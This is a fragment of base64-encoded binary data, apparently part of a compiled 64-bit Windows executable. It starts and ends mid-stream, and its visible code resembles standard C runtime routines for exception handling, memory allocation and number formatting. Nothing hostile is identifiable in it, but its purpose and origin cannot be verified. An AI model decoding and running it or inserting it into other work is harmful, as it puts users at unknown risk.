iQFIjUkCSSvXde9Ii8volvj//zPASItMJDhIM8zoS6n//0yNXCRASYtbQEmLa0hJi+NBX0FeQVxfXsPMzEiJXCQISIl0JBBXSIPsIEiL2UiD+eB3fL8BAAAASIXJSA9F+UiLDXVsAQBIhcl1IOj/7///uR4AAADoafD//7n/AAAA6Cuy//9Iiw1QbAEATIvHM9L/FR2lAABIi/BIhcB1LDkF/3ABAHQOSIvL6Bn0//+FwHQN66voMtb//8cADAAAAOgn1v//xwAMAAAASIvG6xLo8/P//+gS1v//xwAMAAAAM8BIi1wkMEiLdCQ4SIPEIF/DzMxIg+woSIsBgThjc23gdRyDeBgEdRaLSCCNgeD6bOaD+AJ2D4H5AECZAXQHM8BIg8Qow+hd8///zEiD7ChIjQ29////6OTu//8zwEiDxCjDzEiJXCQISIlsJBBIiXQkGFdIg+wgSIvyi/noBgMAAEUzyUiL2EiFwA+EiAEAAEiLkKAAAABIi8o5OXQQSI2CwAAAAEiDwRBIO8hy7EiNgsAAAABIO8hzBDk5dANJi8lIhckPhE4BAABMi0EITYXAD4RBAQAASYP4BXUNTIlJCEGNQPzpMAEAAEmD+AF1CIPI/+kiAQAASIurqAAAAEiJs6gAAACDeQQID4XyAAAAujAAAABIi4OgAAAASIPCEEyJTAL4SIH6wAAAAHzngTmOAADAi7uwAAAAdQ/Hg7AAAACDAAAA6aEAAACBOZAAAMB1D8eDsAAAAIEAAADpigAAAIE5kQAAwHUMx4OwAAAAhAAAAOt2gTmTAADAdQzHg7AAAACFAAAA62KBOY0AAMB1DMeDsAAAAIIAAADrToE5jwAAwHUMx4OwAAAAhgAAAOs6gTmSAADAdQzHg7AAAACKAAAA6yaBObUCAMB1DMeDsAAAAI0AAADrEoE5tAIAwHUKx4OwAAAAjgAAAIuTsAAAALkIAAAAQf/QibuwAAAA6wpMiUkIi0kEQf/QSImrqAAAAOnY/v//M8BIi1wkMEiLbCQ4SIt0JEBIg8QgX8NIhckPhCkBAABIiVwkEFdIg+wgSIvZSItJOEiFyXQF6ITj//9Ii0tISIXJdAXoduP//0iLS1hIhcl0Beho4///SItLaEiFyXQF6Frj//9Ii0twSIXJdAXoTOP//0iLS3hIhcl0Beg+4///SIuLgAAAAEiFyXQF6C3j//9Ii4ugAAAASI0Fw8gAAEg7yHQF6BXj//+/DQAAAIvP6KHk//+QSIuLuAAAAEiJTCQwSIXJdBzw/wl1F0iNBT9KAQBIi0wkMEg7yHQG6Nzi//+Qi8/oXOb//7kMAAAA6GLk//+QSIu7wAAAAEiF/3QrSIvP6IU0AABIOz1iUAEAdBpIjQVpUAEASDv4dA6DPwB1CUiLz+jLMgAAkLkMAAAA6BDm//9Ii8vogOL//0iLXCQ4SIPEIF/DzEBTSIPsIOgZAAAASIvYSIXAdQiNSBDoaa7//0iLw0iDxCBbw0iJXCQIV0iD7CD/FdyfAACLDbZMAQCL+Ojv5v//SIvYSIXAdUeNSAG6eAQAAOji1P//SIvYSIXAdDKLDYxMAQBIi9Do4Ob//0iLy4XAdBYz0uguAAAA/xX4oAAASINLCP+JA+sH6Obh//8z24vP/xVYoAAASIvDSItcJDBIg8QgX8PMzEiJXCQIV0iD7CBIi/pIi9lIjQVZxwAASImBoAAAAINhEADHQRwBAAAAx4HIAAAAAQAAALhDAAAAZomBZAEAAGaJgWoCAABIjQXTSAEASImBuAAAAEiDoXAEAAAAuQ0AAADo/uL//5BIi4O4AAAA8P8AuQ0AAADo2eT//7kMAAAA6N/i//+QSIm7wAAAAEiF/3UOSIsF504BAEiJg8AAAABIi4vAAAAA6MwwAACQuQwAAADoneT//0iLXCQwSIPEIF/DzMxAU0iD7CDo+a3//+gc5P//hcB0XkiNDUX9///obOX//4kFXksBAIP4/3RHungEAAC5AQAAAOiS0///SIvYSIXAdDCLDTxLAQBIi9DokOX//4XAdB4z0kiLy+je/v///xWonwAASINLCP+JA7gBAAAA6wfoCQAAADPASIPEIFvDzEiD7CiLDfpKAQCD+f90DOgU5f//gw3pSgEA/0iDxCjpQOL//0iD7Cj/FWafAAAzyUiFwEiJBXJmAQAPlcGLwUiDxCjDSIvESIlYCEiJcBBIiXgYTIlgIEFVQVZBV0iB7MAAAABIiWQkSLkLAAAA6K3h//+Qv1gAAACL10SNb8hBi83oxdL//0iLyEiJRCQoRTPkSIXAdRlIjRUKAAAASIvM6CY3AACQkIPI/+mfAgAASIkFBWYBAESJLfJqAQBIBQALAABIO8hzOWbHQQgACkiDCf9EiWEMgGE4gIpBOCR/iEE4ZsdBOQoKRIlhUESIYUxIA89IiUwkKEiLBbxlAQDrvEiNTCRQ/xUvngAAZkQ5pCSSAAAAD4RCAQAASIuEJJgAAABIhcAPhDEBAABMjXAETIl0JDhIYzBJA/ZIiXQkQEG/AAgAAEQ5OEQPTDi7AQAAAIlcJDBEOT1SagEAfXNIi9dJi83o4dH//0iLyEiJRCQoSIXAdQlEiz0xagEA61JIY9NMjQUxZQEASYkE0EQBLRpqAQBJiwTQSAUACwAASDvIcypmx0EIAApIgwn/RIlhDIBhOIBmx0E5CgpEiWFQRIhhTEgDz0iJTCQo68f/w+uAQYv8RIlkJCBMjS3aZAEAQTv/fXdIiw5IjUECSIP4AXZRQfYGAXRLQfYGCHUK/xWWnQAAhcB0O0hjz0iLwUjB+AWD4R9Ia9lYSQNcxQBIiVwkKEiLBkiJA0GKBohDCEiNSxBFM8C6oA8AAOg64////0MM/8eJfCQgSf/GTIl0JDhIg8YISIl0JEDrhEGL/ESJZCQgScfH/v///4P/Aw+NzQAAAEhj90hr3lhIAx04ZAEASIlcJChIiwNIg8ACSIP4AXYQD75DCA+66AeIQwjpkgAAAMZDCIGNR//32BvJg8H1uPb///+F/w9EyP8VgJwAAEyL8EiNSAFIg/kBdkZIi8j/FcKcAACFwHQ5TIkzD7bAg/gCdQkPvkMIg8hA6wyD+AN1Cg++QwiDyAiIQwhIjUsQRTPAuqAPAADoauL///9DDOshD75DCIPIQIhDCEyJO0iLBZlpAQBIhcB0CEiLBPBEiXgc/8eJfCQg6Sr///+5CwAAAOjD4P//M8BMjZwkwAAAAEmLWyBJi3MoSYt7ME2LYzhJi+NBX0FeQV3DzMzMSIlcJBhVVldIg+wwSI09NWUBADPtQbgEAQAASIvXM8lmiS0pZwEA/xWzmwAASIsdNHkBAEiJPS1UAQBIhdt0BWY5K3UDSIvfSI1EJFhMjUwkUEUzwDPSSIvLSIlEJCDojAAAAEhjdCRQSLj/////////H0g78HNlSGNEJFhIuf////////9/SDvBc1FIjQywSAPASAPJSDvIckLouM///0iL+EiFwHQ1TI0E8EiNRCRYTI1MJFBIi9dIi8tIiUQkIOgqAAAAi0QkUEiJPXdTAQD/yIkFY1MBADPA6wODyP9Ii1wkYEiDxDBfXl3DzMzMSIvESIlYCEiJcBBIiXgYTIlgIEFXTItcJDAz9kmL2UGJM0yL0kHHAQEAAABIhdJ0B0yJAkmDwgiL1kG8IgAAAGZEOSF1E4XSi8YPlMBIg8ECi9BBD7fE6x9B/wNNhcB0Cw+3AWZBiQBJg8ACD7cBSIPBAmaFwHQchdJ1xGaD+CB0BmaD+Al1uE2FwHQLZkGJcP7rBEiD6QKL/kG/XAAAAGY5MQ+EzgAAAGaDOSB0BmaDOQl1BkiDwQLr7mY5MQ+EswAAAE2F0nQHTYkCSYPCCP8DQbkBAAAAi9brBkiDwQL/wmZEOTl09GZEOSF1OkGE0XUfhf90D0iNQQJmRDkgdQVIi8jrDIX/i8ZEi84PlMCL+NHq6xL/yk2FwHQIZkWJOEmDwAJB/wOF0nXqD7cBZoXAdC6F/3UMZoP4IHQkZoP4CXQeRYXJdBBNhcB0CGZBiQBJg8ACQf8DSIPBAulw////TYXAdAhmQYkwSYPAAkH/A+kp////TYXSdANJiTL/A0iLdCQYSIt8JCBIi1wkEEyLZCQoQV/DSIvESIlYCEiJaBBIiXAYSIl4IEFWSIPsMEiLHfBRAQBFM/ZBi/5Ihdt1IIPI/+m9AAAAZoP4PXQC/8dIi8vokTkAAEiNHENIg8MCD7cDZoXAdeCNRwG6CAAAAEhjyOjtzP//SIv4SIkFY1EBAEiFwHS5SIsdl1EBAGZEOTN0U0iLy+hNOQAAZoM7PY1wAXQuSGPuugIAAABIi83osMz//0iJB0iFwHRjTIvDSIvVSIvI6LI4AACFwHVpSIPHCEhjxkiNHENmRDkzdbRIix0+UQEASIvL6LLZ//9MiTUvUQEATIk3xwUWdgEAAQAAADPASItcJEBIi2wkSEiLdCRQSIt8JFhIg8QwQV7DSIsNvlABAOh12f//TIk1slABAOkI////RTPJRTPAM9IzyUyJdCQg6JG5///MiQ3SWAEAw8xIg+wohcl4IIP5An4Ng/kDdRaLBXRjAQDrIYsFbGMBAIkNZmMBAOsT6FPJ///HABYAAADoMLn//4PI/0iDxCjDSIlcJCBVSIvsSIPsIEiLBTQ2AQBIg2UYAEi7MqLfLZkrAABIO8N1b0iNTRj/FQaYAABIi0UYSIlFEP8V0JcAAIvASDFFEP8V5JcAAEiNTSCLwEgxRRD/FcyXAACLRSBIweAgSI1NEEgzRSBIM0UQSDPBSLn///////8AAEgjwUi5M6LfLZkrAABIO8NID0TBSIkFsTUBAEiLXCRISPfQSIkFqjUBAEiDxCBdw0iJXCQISIlsJBBIiXQkGFdIg+wg/xV6lwAAM9tIi/hIhcB1D+tHSIPAAmY5GHX3SIPAAmY5GHXuK8eDwAJIY+hIi83oXMv//0iL8EiFwHQRTIvFSIvXSIvI6Oaa//9Ii95Ii8//FTKXAABIi8NIi1wkMEiLbCQ4SIt0JEBIg8QgX8PMzEiFyXRoiFQkEEiD7CiBOWNzbeB1VIN5GAR1TotBIC0gBZMZg/gCd0FIi0EwSIXAdDhIY1AEhdJ0GUiLwkiLUThIA9BIi0ko/9KQ6x3oW+X//5D2ABB0EkiLQShIiwhIhcl0BkiLAf9QEEiDxCjDzMxAU0iD7CBIi9no/rH//0iNBdu9AABIiQNIi8NIg8QgW8PMzMxIjQXFvQAASIkB6QWy///MSIlcJAhXSIPsIEiNBau9AACL2kiL+UiJAejmsf//9sMBdAhIi8/oXaL//0iLx0iLXCQwSIPEIF/DzMzMSIvESIlYCEiJaBhWV0FUQVZBV0iD7FBMi7wkoAAAAEmL6UyL8k2L4EiL2UyNSBBNi8dIi9VJi87oE6r//0yLjCSwAAAASIu0JKgAAABIi/hNhcl0DkyLxkiL0EiLy+h5CAAA6BCu//9IY04MTIvPSAPBiowk2AAAAE2LxIhMJEBIi4wkuAAAAEiJbCQ4ixFMiXwkMEmLzolUJChIi9NIiUQkIOhsrv//TI1cJFBJi1swSYtrQEmL40FfQV5BXF9ew8zMzEiJXCQQTIlEJBhVVldBVEFVQVZBV0iNbCT5SIHssAAAAEiLXWdMi+pIi/lFM+RJi9FIi8tNi/lNi/BEiGVHRIhlt+i1EgAATI1N30yLw0mL10mLzYvw6DGp//9Mi8NJi9dJi83oHxIAAEyLw0mL1zvwfh9IjU3fRIvO6DUSAABEi85Mi8NJi9dJi83oMBIAAOsKSYvN6O4RAACL8IP+/3wFO3MEfAXoPeP//4E/Y3Nt4A+FewMAAIN/GAQPhTcBAACLRyAtIAWTGYP4Ag+HJgEAAEw5ZzAPhRwBAADo4/L//0w5oPAAAAAPhCkDAADo0fL//0iLuPAAAADoxfL//0iLTzhMi7D4AAAAxkVHAUyJdVfoHa3//7oBAAAASIvP6Dw9AACFwHUF6Lvi//+BP2NzbeB1HoN/GAR1GItHIC0gBZMZg/gCdwtMOWcwdQXoleL//+hs8v//TDmgCAEAAA+EkwAAAOha8v//TIuwCAEAAOhO8v//SYvWSIvPTImgCAEAAOiUBQAAhMB1aEWL/EU5Jg+O0gIAAEmL9OgUrP//SWNOBEgDxkQ5ZAEEdBvoAaz//0ljTgRIA8ZIY1wBBOjwq///SAPD6wNJi8RIjRVhSgEASIvI6LWf//+EwA+FjQIAAEH/x0iDxhRFOz58rOl2AgAATIt1V4E/Y3Nt4A+FLgIAAIN/GAQPhSQCAACLRyAtIAWTGYP4Ag+HEwIAAEQ5YwwPhk4BAABEi0V3SI1Fv0yJfCQwSIlEJChIjUW7RIvOSIvTSYvNSIlEJCDoBqj//4tNu4tVvzvKD4MXAQAATI1wEEE5dvAPj+sAAABBO3b0D4/hAAAA6Der//9NYyZMA+BBi0b8iUXDhcAPjsEAAADoNav//0iLTzBIY1EMSIPABEgDwkiJRc/oHav//0iLTzBIY1EMiwwQiU3Hhcl+N+gGq///SItNz0yLRzBIYwlIA8FJi8xIi9BIiUXX6E0OAACFwHUci0XHSINFzwT/yIlFx4XAf8mLRcP/yEmDxBTrhIpFb0yLRVdNi8+IRCRYikVHSYvViEQkUEiLRX9Ii89IiUQkSItFd8ZFtwGJRCRASY1G8EiJRCQ4SItF10iJRCQwTIlkJChIiVwkIOjp+///i1W/i027/8FJg8YUiU27O8oPgvr+//9FM+REOGW3D4WNAAAAiwMl////Hz0hBZMZcn+LcyCF9nQNSGP26CCq//9IA8brA0mLxEiFwHRjhfZ0EegKqv//SIvQSGNDIEgD0OsDSYvUSIvP6FsDAACEwHU/TI1NR0yLw0mL10mLzei1pf//ik1vTItFV4hMJEBMiXwkOEiJXCQwg0wkKP9Mi8hIi9dJi81MiWQkIOhMqv//6Lvv//9MOaAIAQAAdAXo0d///0iLnCT4AAAASIHEsAAAAEFfQV5BXUFcX15dw0Q5Ywx2zEQ4ZW91cEiLRX9Ni89Ni8ZIiUQkOItFd0mL1YlEJDBIi8+JdCQoSIlcJCDoTAAAAOua6Jnf///MsgFIi8/o4vn//0iNBUu4AABIjVVHSI1N50iJRUfo+qv//0iNBSO4AABIjRVMIAEASI1N50iJRefoF6T//8zoVd///8xIiVwkEEyJRCQYVVZXQVRBVUFWQVdIg+xwgTkDAACATYv5SYv4TIviSIvxD4QcAgAA6Nru//9Ii6wk0AAAAEiDuOAAAAAAdGEzyf8VAI8AAEiL2Oi47v//SDmY4AAAAHRIgT5NT0PgdECBPlJDQ+CLnCTgAAAAdDhIi4Qk6AAAAE2Lz0yLx0iJRCQwSYvUSIvOiVwkKEiJbCQg6Gmn//+FwA+FpgEAAOsHi5wk4AAAAIN9DAB1Beh53v//RIu0JNgAAABIjUQkYEyJfCQwSIlEJChIjYQksAAAAESLw0WLzkiL1UmLzEiJRCQg6LSk//+LjCSwAAAAO0wkYA+DTAEAAEiNeAxMjW/0RTt1AA+MIwEAAEQ7d/gPjxkBAADo3qf//0hjD0iNFIlIY08ESI0UkYN8EPAAdCPow6f//0hjD0iNFIlIY08ESI0UkUhjXBDw6Kqn//9IA8PrAjPASIXAdEromaf//0hjD0iNFIlIY08ESI0UkYN8EPAAdCPofqf//0hjD0iNFIlIY08ESI0UkUhjXBDw6GWn//9IA8PrAjPAgHgQAA+FgwAAAOhPp///SGMPSI0UiUhjTwRIjRSR9kQQ7EB1aOg0p///iw9Mi4QkwAAAAMZEJFgAxkQkUAH/yUhjyU2Lz0iNFIlIjQyQSGNHBEmL1EgDyEiLhCToAAAASIlEJEiLhCTgAAAAiUQkQEyJbCQ4SINkJDAASIlMJChIi85IiWwkIOhZ+P//i4wksAAAAP/BSIPHFImMJLAAAAA7TCRgD4K4/v//SIucJLgAAABIg8RwQV9BXkFdQVxfXl3DzMzMSIlcJAhIiWwkEEiJdCQYV0FUQVVBVkFXSIPsIEiL8kyL6UiF0g+EoQAAADP/RTL2OTp+eOh3pv//SIvQSYtFMExjeAxJg8cETAP66GCm//9Ii9BJi0UwSGNIDIssCoXtfkRIY8dMjSSA6EKm//9Ii9hJYwdIA9joHKb//0hjTgRNi0UwSo0EoEiL00gDyOiBCQAAhcB1DP/NSYPHBIXtf8jrA0G2Af/HOz58iEiLXCRQSItsJFhIi3QkYEGKxkiDxCBBX0FeQV1BXF/D6Pvb///oFtz//8zMSGMCSAPBg3oEAHwWTGNKBEhjUghJiwwJTGMECk0DwUkDwMPMSIlcJAhIiXQkEEiJfCQYQVZIg+wgSYv5TIvxQfcAAAAAgHQFSIvy6wdJY3AISAMy6IMAAAD/yHQ3/8h1WzPbOV8YdA/oa6X//0iL2EhjRxhIA9hIjVcISYtOKOh8////SIvQQbgBAAAASIvO/9PrKDPbOV8YdAzoOKX//0hjXxhIA9hIjVcISYtOKOhM////SIvQSIvO/9PrBuhR2///kEiLXCQwSIt0JDhIi3wkQEiDxCBBXsPMzEiJXCQISIl0JBBIiXwkGEFVQVZBV0iD7DBNi/FJi9hIi/JMi+kz/0WLeARFhf90Dk1j/+ispP//SY0UB+sDSIvXSIXSD4TpAQAARYX/dBHokKT//0iLyEhjQwRIA8jrA0iLz0A4eRAPhMYBAAA5ewh1DPcDAAAAgA+EtQEAAIsLhcl4CkhjQwhIAwZIi/CEyXlXQfYGEHRRSIsFDVcBAEiFwHRF/9BMi/i7AQAAAIvTSIvI6Ng0AACFwA+EYwEAAIvTSIvO6MY0AACFwA+EUQEAAEyJPkmLz0mNVgjoQ/7//0iJBulAAQAAuwEAAAD2wQh0LovTSYtNKOiSNAAAhcAPhB0BAACL00iLzuiANAAAhcAPhAsBAABJi00oSIkO67dBhB50UYvTSYtNKOhfNAAAhcAPhOoAAACL00iLzuhNNAAAhcAPhNgAAABNY0YUSYtVKEiLzujxjv//QYN+FAgPhcMAAABIOT4PhLoAAABIiw7pYf///0E5fhh0Eeh6o///SIvISWNGGEgDyOsDSIvPi9NIhclJi00odTjo7zMAAIXAdH6L00iLzujhMwAAhcB0cEljXhRJjVYISYtNKOhg/f//SIvQTIvDSIvO6HqO///rVei3MwAAhcB0RovTSIvO6KkzAACFwHQ4QTl+GHQR6Aaj//9Ii8hJY0YYSAPI6wNIi8/ohjMAAIXAdBVBigYkBPbYG8n32QPLi/mJTCQg6wbo8Nj//5CLx+sI6AbZ//+QM8BIi1wkUEiLdCRYSIt8JGBIg8QwQV9BXkFdw8xAU1ZXQVRBVUFWQVdIgeyQAAAASIv5RTP/RIl8JCBEIbwk0AAAAEwhfCRATCG8JOgAAADobOj//0yLqPgAAABMiWwkUOhb6P//SIuA8AAAAEiJhCTgAAAASIt3UEiJtCTYAAAASItHSEiJRCRISItfQEiLRzBIiUQkWEyLdyhMiXQkYOgc6P//SImw8AAAAOgQ6P//SImY+AAAAOgE6P//SIuQ8AAAAEiLUihIjUwkeOg7of//TIvgSIlEJDhMOX9YdB/HhCTQAAAAAQAAAOjR5///SIuIOAEAAEiJjCToAAAAQbgAAQAASYvWSItMJFjoZzIAAEiL2EiJRCRASIu8JOAAAADre8dEJCABAAAA6JDn//+DoGAEAAAASIu0JNgAAACDvCTQAAAAAHQhsgFIi87oBfL//0iLhCToAAAATI1IIESLQBiLUASLCOsNTI1OIESLRhiLVgSLDv8Vw4cAAESLfCQgSItcJEBMi2wkUEiLvCTgAAAATIt0JGBMi2QkOEmLzOiqoP//RYX/dTKBPmNzbeB1KoN+GAR1JItGIC0gBZMZg/gCdxdIi04o6BGh//+FwHQKsgFIi87oe/H//+je5v//SIm48AAAAOjS5v//TImo+AAAAEiLRCRISGNIHEmLBkjHBAH+////SIvDSIHEkAAAAEFfQV5BXUFcX15bw8xIg+woSIsBgThSQ0PgdBKBOE1PQ+B0CoE4Y3Nt4HUb6yDoeub//4O4AAEAAAB+C+hs5v///4gAAQAAM8BIg8Qow+ha5v//g6AAAQAAAOiS1v//zMxIi8REiUggTIlAGEiJUBBIiUgIU1ZXQVRBVUFWQVdIg+wwRYvhSYvwTIvqTIv56Amg//9IiUQkKEyLxkmL1UmLz+iiBAAAi/jo/+X///+AAAEAAIP//w+E7QAAAEE7/A+O5AAAAIP//34FO34EfAXo/NX//0xj9+jAn///SGNOCEqNBPCLPAGJfCQg6Kyf//9IY04ISo0E8IN8AQQAdBzomJ///0hjTghKjQTwSGNcAQTohp///0gDw+sCM8BIhcB0XkSLz0yLxkmL1UmLz+hpBAAA6GSf//9IY04ISo0E8IN8AQQAdBzoUJ///0hjTghKjQTwSGNcAQToPp///0gDw+sCM8BBuAMBAABJi9dIi8jo7i8AAEiLTCQo6ICf///rHkSLpCSIAAAASIu0JIAAAABMi2wkeEyLfCRwi3wkIIl8JCTpCv///+j+5P//g7gAAQAAAH4L6PDk////iAABAACD//90CkE7/H4F6P/U//9Ei89Mi8ZJi9VJi8/ougMAAEiDxDBBX0FeQV1BXF9eW8PMzEiJXCQISIlsJBBIiXQkGFdBVEFWSIPsQEmL6U2L8EiL8kiL2eiP5P//SIu8JIAAAACDuGAEAAAAuv///x9BuCkAAIBBuSYAAIBBvAEAAAB1OIE7Y3Nt4HQwRDkDdRCDexgPdQpIgXtgIAWTGXQbRDkLdBaLDyPKgfkiBZMZcgpEhGckD4V/AQAAi0MEqGYPhJIAAACDfwQAD4RqAQAAg7wkiAAAAAAPhVwBAACD4CB0PkQ5C3U5TYuG+AAAAEiL1UiLz+gwAwAAi9iD+P98BTtHBHwF6APU//9Ei8tIi85Ii9VMi8fogv3//+kZAQAAhcB0IEQ5A3Ubi3M4g/7/fAU7dwR8BejS0///SItLKESLzuvMTIvHSIvVSIvO6Feb///p4gAAAIN/DAB1LosHI8I9IQWTGQ+CzQAAAIN/IAB0Duhinf//SGNPIEgDwesCM8BIhcAPhK4AAACBO2NzbeB1bYN7GANyZ4F7ICIFkxl2XkiLQzCDeAgAdBLoQJ3//0iLSzBMY1EITAPQ6wNFM9JNhdJ0Og+2hCSYAAAATIvNTYvGiUQkOEiLhCSQAAAASIvWSIlEJDCLhCSIAAAASIvLiUQkKEiJfCQgQf/S6zxIi4QkkAAAAEyLzU2LxkiJRCQ4i4QkiAAAAEiL1olEJDCKhCSYAAAASIvLiEQkKEiJfCQg6Ozu//9Bi8RIi1wkYEiLbCRoSIt0JHBIg8RAQV5BXF/DSIvESIlYCEiJaBBIiXAYSIl4IEFWSIPsIItxBDPbTYvwSIvqSIv5hfZ0Dkhj9uhRnP//SI0MBusDSIvLSIXJD4TIAAAAhfZ0D0hjdwToMpz//0iNDAbrA0iLyzhZEA+EqQAAAPYHgHQK9kUAEA+FmgAAAIX2dBHoCJz//0iL8EhjRwRIA/DrA0iL8+gMnP//SIvISGNFBEgDyEg78XQ6OV8EdBHo25v//0iL8EhjRwRIA/DrA0iL8+jfm///SGNVBEiNThBIg8IQSAPQ6IvE//+FwHQEM8DrObAChEUAdAX2Bwh0JEH2BgF0BfYHAXQZQfYGBHQF9gcEdA5BhAZ0BIQHdAW7AQAAAIvD6wW4AQAAAEiLXCQwSItsJDhIi3QkQEiLfCRISIPEIEFew8zMzEiD7ChNY0gcSIsBTYvQQYsEAYP4/nULTIsCSYvK6IIAAABIg8Qow8xAU0iD7CBMjUwkQEmL2Ojxlv//SIsISGNDHEiJTCRAi0QIBEiDxCBbw8zMzEljUBxIiwFEiQwCw0iJXCQIV0iD7CBBi/lMjUwkQEmL2Oiylv//SIsISGNDHEiJTCRAO3wIBH4EiXwIBEiLXCQwSIPEIF/DzEyLAukAAAAASIlcJAhIiWwkEEiJdCQYV0iD7CBJi+hIi/JIi9lIhcl1Bei90P//SGNDGIt7FEgDRgh1Beir0P//RTPAhf90NEyLTghMY1MYS40MwUpjFBFJA9FIO+p8CEH/wEQ7x3LoRYXAdA9BjUj/SY0EyUKLRBAE6wODyP9Ii1wkMEiLbCQ4SIt0JEBIg8QgX8NIg+woTYtBOEiLykmL0egNAAAAuAEAAABIg8Qow8zMzEBTSIPsIEWLGEiL2kyLyUGD4/hB9gAETIvRdBNBi0AITWNQBPfYTAPRSGPITCPRSWPDSosUEEiLQxCLSAhIA0sI9kEDD3QMD7ZBA4Pg8EiYTAPITDPKSYvJSIPEIFvp2YT//8xIg+xIi0QkeEiDZCQwAIlEJCiLRCRwiUQkIOgFAAAASIPESMNIg+w4QY1Bu0G63////0GFwnRKQYP5ZnUWSItEJHBEi0wkYEiJRCQg6FsIAADrSkGNQb9Ei0wkYEGFwkiLRCRwSIlEJCiLRCRoiUQkIHQH6AgJAADrI+glAAAA6xxIi0QkcESLTCRgSIlEJCiLRCRoiUQkIOizBQAASIPEOMPMzEiLxEiJWAhIiWgQSIlwGFdBVEFVQVZBV0iD7FBIi/pIi5QkqAAAAEyL8UiNSLhBvzAAAABBi9lJi/BBvP8DAABBD7fv6JOk//9FM8mF20EPSNlIhf91DOhYsf//uxYAAADrHUiF9nTvjUMLRIgPSGPISDvxdxnoObH//7siAAAAiRjoFaH//0UzyenuAgAASYsGuf8HAABIweg0SCPBSDvBD4WSAAAATIlMJChEiUwkIEyNRv5Ig/7/SI1XAkSLy0wPRMZJi87o4AQAAEUzyYvYhcB0CESID+mgAgAAgH8CLb4BAAAAdQbGBy1IA/6LnCSgAAAARIg/umUAAACLw/fYGsmA4eCAwXiIDDdIjU4BSAPP6OQqAABFM8lIhcAPhFYCAAD32xrJgOHggMFwiAhEiEgD6UECAABIuAAAAAAAAACAvgEAAABJhQZ0BsYHLUgD/kSLrCSgAAAARYvXSbv///////8PAESIF0gD/kGLxffYQYvFGsmA4eCAwXiID0gD/vfYG9JIuAAAAAAAAPB/g+Lgg+rZSYUGdRtEiBdJiwZIA/5JI8NI99hNG+RBgeT+AwAA6wbGBzFIA/5Mi/9IA/6F23UFRYgP6xRIi0QkMEiLiPAAAABIiwGKCEGID02FHg+GiAAAAEm4AAAAAAAADwCF234tSYsGQIrNSSPASSPDSNPoZkEDwmaD+Dl2A2YDwogHScHoBCveSAP+ZoPF/HnPZoXteEhJiwZAis1JI8BJI8NI0+hmg/gIdjNIjU//igEsRqjfdQhEiBFIK87r8Ek7z3QUigE8OXUHgMI6iBHrDUACxogB6wZIK85AADGF234YTIvDQYrSSIvP6JEJAABIA/tFM8lFjVEwRTgPSQ9E/0H33RrAJOAEcIgHSYsOSAP+SMHpNIHh/wcAAEkrzHgIxgcrSAP+6wnGBy1IA/5I99lMi8dEiBdIgfnoAwAAfDNIuM/3U+Olm8QgSPfpSMH6B0iLwkjB6D9IA9BBjQQSiAdIA/5IacIY/P//SAPISTv4dQZIg/lkfC5IuAvXo3A9CtejSPfpSAPRSMH6BkiLwkjB6D9IA9BBjQQSiAdIA/5Ia8KcSAPISTv4dQZIg/kKfCtIuGdmZmZmZmZmSPfpSMH6AkiLwkjB6D9IA9BBjQQSiAdIA/5Ia8L2SAPIQQLKiA9EiE8BQYvZRDhMJEh0DEiLTCRAg6HIAAAA/UyNXCRQi8NJi1swSYtrOEmLc0BJi+NBX0FeQV1BXF/DSIvESIlYCEiJaBBIiXAYSIl4IEFVQVZBV0iD7FBMi/JIi5QkoAAAAEiL+UiNSMhFi+lJY/Do8qD//0iF/3QFTYX2dQzou63//7sWAAAA6xszwIX2D0/Gg8AJSJhMO/B3Fuierf//uyIAAACJGOh6nf//6TgBAACAvCSYAAAAAEiLrCSQAAAAdDQz24N9AC0PlMNFM/9IA9+F9kEPn8dFhf90GkiLy+gJj///SWPPSIvTTI1AAUgDy+j3f///g30ALUiL13UHxgctSI1XAYX2fhuKQgGIAkiLRCQwSP/CSIuI8AAAAEiLAYoIiAozyUiNHDJMjQV7owAAOIwkmAAAAA+UwUgD2Ugr+0mD/v9Ii8tJjRQ+SQ9E1ujHBgAAhcAPhb4AAABIjUsCRYXtdAPGA0VIi0UQgDgwdFZEi0UEQf/IeQdB99jGQwEtQYP4ZHwbuB+F61FB9+jB+gWLwsHoHwPQAFMCa8KcRAPAQYP4CnwbuGdmZmZB9+jB+gKLwsHoHwPQAFMDa8L2RAPARABDBPYFKUcBAAF0FIA5MHUPSI1RAUG4AwAAAOgHf///M9uAfCRIAHQMSItMJECDocgAAAD9TI1cJFCLw0mLWyBJi2soSYtzMEmLezhJi+NBX0FeQV3DSINkJCAARTPJRTPAM9IzyegUnP//zMzMzEBTVVZXSIHsiAAAAEiLBf0YAQBIM8RIiUQkcEiLCUmL2EiL+kGL8b0WAAAATI1EJFhIjVQkQESLzeiSKgAASIX/dRPowKv//4ko6KGb//+LxemIAAAASIXbdOhIg8r/SDvadBozwIN8JEAtSIvTD5TASCvQM8CF9g+fwEgr0DPAg3wkQC1EjUYBD5TAM8mF9g+fwUgDx0yNTCRASAPI6PEmAACFwHQFxgcA6zJIi4Qk2AAAAESLjCTQAAAARIvGSIlEJDBIjUQkQEiL00iLz8ZEJCgASIlEJCDoJv3//0iLTCRwSDPM6J19//9IgcSIAAAAX15dW8PMSIvESIlYCEiJaBBIiXAYSIl4IEFWSIPsQEGLWQRIi/JIi1QkeEiL+UiNSNhJi+n/y0WL8Oj/nf//SIX/dAVIhfZ1FujIqv//uxYAAACJGOikmv//6dgAAACAfCRwAHQaQTvedRUzwIN9AC1IY8sPlMBIA8dmxwQBMACDfQAtdQbGBy1I/8eDfQQAfyBIi8/oLIz//0iNTwFIi9dMjUAB6Bx9///GBzBI/8frB0hjRQRIA/hFhfZ+d0iLz0iNdwHo/Iv//0iL10iLzkyNQAHo7Xz//0iLRCQgSIuI8AAAAEiLAYoIiA+LXQSF23lC99uAfCRwAHULi8NBi95EO/APTdiF23QaSIvO6LOL//9IY8tIi9ZMjUABSAPO6KF8//9MY8O6MAAAAEiLzuhBBAAAM9uAfCQ4AHQMSItMJDCDocgAAAD9SItsJFhIi3QkYEiLfCRoi8NIi1wkUEiDxEBBXsPMzMxAU1VWV0iD7HhIiwWkFgEASDPESIlEJGBIiwlJi9hIi/pBi/G9FgAAAEyNRCRISI1UJDBEi83oOSgAAEiF/3UQ6Gep//+JKOhImf//i8Xra0iF23TrSIPK/0g72nQQM8CDfCQwLUiL0w+UwEgr0ESLRCQ0M8lMjUwkMEQDxoN8JDAtD5TBSAPP6KskAACFwHQFxgcA6yVIi4QkwAAAAEyNTCQwRIvGSIlEJChIi9NIi8/GRCQgAOjh/f//SItMJGBIM8zoZHv//0iDxHhfXl1bw8zMzEBTVVZXQVZIgeyAAAAASIsFyxUBAEgzxEiJRCRwSIsJSYv4SIvyQYvpuxYAAA